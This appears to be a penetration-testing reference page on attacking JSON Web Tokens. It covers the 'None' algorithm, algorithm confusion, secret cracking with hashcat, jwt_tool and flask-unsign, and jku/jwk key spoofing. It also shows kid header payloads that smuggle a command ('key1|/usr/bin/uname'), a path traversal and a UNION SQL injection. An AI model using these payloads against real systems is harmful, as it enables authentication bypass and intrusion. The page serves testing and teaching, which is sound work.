JWT
JSON Web Token (JWT) is an open standard for securely transmitting information between parties as a JSON object. In order to ensure the integrity and authenticity of the data, this is being signed using a secret (HMAC algorithm) or public/private keys (RSA or ECDSA).
There are two main different types of JWT.
It is composed of three parts, encoded on base64, separated by a dot:
- Header: Specifies the algorithm and the type of JWT being used,.
- Payload: JSON data that wants to be transmitted.
- Signature: The result of applying base64url encoding to the header, dot, and payload, and then signing the whole thing using a secret or a private key.
Encoded JWT.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6Ik1hcm1ldXMiLCJpYXQiOjE1MTYyMzkwMjJ9.JRGkgRg-LNfPIizd0il-HU9JFytJYTUnGFfCFblssdU
Decoded JWT.
# Header
{
"alg": "HS256",
"typ": "JWT"
}
# Payload
{
"sub": "1234567890",
"name": "Marmeus",
"iat": 1516239022
}
# SIGNATURE
<ALGORITHM>( base64UrlEncode(header) + "." + base64UrlEncode(payload), <SECRET | PRIVATE KEY>)
It might be the case where developers do not really verify the signature of the token, so any changes made to the JWT will be accepted by the application. Hence, try to change values on the payload section to check if the application accepts them.
Of the many types of algorithms accepted by the JWT standard, the
None
algorithm stands out because specifies that the token is not signed. Therefore, using this type of algorithm might allow you to bypass the checking signature. As a result the JWT would look like this.# Header
{
"alg": "None",
"typ": "JWT"
}
# Payload
{
"sub": "1234567890",
"name": "Marmeus",
"iat": 1516239022
}
eyJhbGciOiJOb25jZSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiAiMTIzNDU2Nzg5MCIsIm5hbWUiOiJNYXJtZXVzIiwiaWF0IjoxNTE2MjM5MDIyfQ==.
Remove the signature from the end of the token in case the application does not check it, bypassing the authentication.
eyJhbGciOiJOb25jZSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiAiMTIzNDU2Nzg5MCIsIm5hbWUiOiJNYXJtZXVzIiwiaWF0IjoxNTE2MjM5MDIyfQ==.
Some libraries do not check whether the received token is signed using the application's expected algorithm.
As an example, if an application uses the RSA algorithm, the private key will be used for signing and the public key for verifying, so changing the algorithm to HMAC the public key can be used for signing and verifying.
For symmetric algorithms, if the secret can be brute-forced, new tokens can be crafted.
hashcat -a 0 -m 16500 <jwt> <wordlist>
The Key Id parameter or
kid
is often used to retrieve the key from a database or file system in order to sign the payload. If the parameter is vulnerable, it can lead to signature bypass, RCE, SQLi and LFI.RCE
If the
kid
parameter is vulnerable to command injection, the following modification might lead to remote code execution:{
"alg": "HS256",
"typ": "JWT",
"kid": "key1|/usr/bin/uname"
}
Path traversal
If the
kid
parameter is used to retrieve the key from the filesystem, it might be vulnerable to path traversal. If so, the attacker can change the value for any static file within the application. Knowing the key file value, the attacker can craft a malicious token and sign it using the known key.{
"kid": "../../path/to/file",
"typ": "JWT",
"alg": "HS256",
"k": "006baadc-dcf2-4bab-9a3a-1d57fb67fd49"
}
UNION SQLi
If the key is retrieved from a database, it might be vulnerable to SQLi, if so you can try UNION SQLi to retrieve a predicted value for the signature key.
{
"alg": "HS256",
"typ": "JWT",
"kid": "xxxx' UNION SELECT 'aaa"
}
The JSON Web Key Set URL o
jwu
is used to specify where the application can find the JSON web key (JWK) used to verify the signature.If you are capable of changing the JWU value in order to point to your own JWK instead, where the public key is stored. You could sign the JWT with your private key, which will later be checked with your public key.
This can be achieved with any of the following techniques:
- If the application checks the prefix of the URL, modify the URL like
https://[email protected]/
, - Using URL fragments with the
#
character - Using the DNS naming hierarchy
- Chaining with an open redirect
- Chaining with a header Injection
- Chaining with SSRF
Then, inside the attacker's server, the file
key.json
(Can be generated with JWT Edit keys) should look like this:{
"keys": [
{
"kty": "RSA",
"e": "AQAB",
"kid": "006baadc-dcf2-4bab-9a3a-1d57fb67fd49",
"n": "q4As7xzYiAAlED4vW_5SYGTZYHdKwZ8uxNvVt5fJKTtVAqSEKsap9CkNfAjmNVT7UGDBACABZfWLvl-3taBQa7-"
}
]
}
The
jwk
header parameter is used to embed a public key directly within the JWT.{
"kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
"typ": "JWT",
"alg": "RS256",
"jwk": {
"kty": "RSA",
"e": "AQAB",
"kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
"n": "yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m"
}
}
- 1.With the extension loaded, in Burp's main tab bar, go to the JWT Editor Keys tab.
- 3.Send a request containing a JWT to Burp Repeater.
- 4.In the message editor, switch to the extension-generated JSON Web Token tab and modify the token's payload however you like.
- 5.Click Attack, then select Embedded JWK. When prompted, select your newly generated RSA key.
- 6.Send the request to test how the server responds.
There are several tools in order to play with JW tokens. Here are the most used.
JWT Tool
- Cracking the secret:
python3 jwt_tool.py <JWT> -C -d <WORDLIST.TXT>
- None Algorithm:
python3 jwt_tool.py <JWT> -X a
- RSA Algorithm confusion
python3 jwt_tool.py <JWT> -X k -pk <PUBLIC.pem>
- None signature
python3 jwt_tool.py <JWT> -X n
- JWKS Injection (The private key will be generated at
/home/kali/.jwt_tool/
)
python3 jwt_tool.py <JWT> -X i
- JWKS Spoofing: Changes the JKU to a foreign web page with the public key.
python3 jwt_tool.py <JWT> -X s
JWT Editor
JWT Editor is a Burp Suite extension and standalone application for editing, signing, verifying, encrypting and decrypting JSON Web Tokens (JWTs).
Flask JSON Web Tokens have a similar structure as a normal JWT but it differs in their content.
As a JWT is composed of three main parts separated by a dot:
- Payload: JSON data that wants to be transmitted.
- Timestamp: Encoded timestamp.
- Signature: The result of the HMAC operation as in the normal JWT.
eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiTWFybWV1cyJ9.Yn1FHg.MTb2hVRzzDUc44JPkIxGI6xyr4A
Decoding the data would look something like this.
# Payload
{
"logged_in": true,
"username": "Marmeus"
}
# Timestamp
"b}E\u001e"
# Signature
HMAC(base64UrlEncode(header) + "." + base64UrlEncode(payload), <SECRET>)
- Cracking the secret:
flask-unsign --unsign --no-literal-eval --cookie "<JWT>" -w <WORDLIST.TXT>
Last modified 10mo ago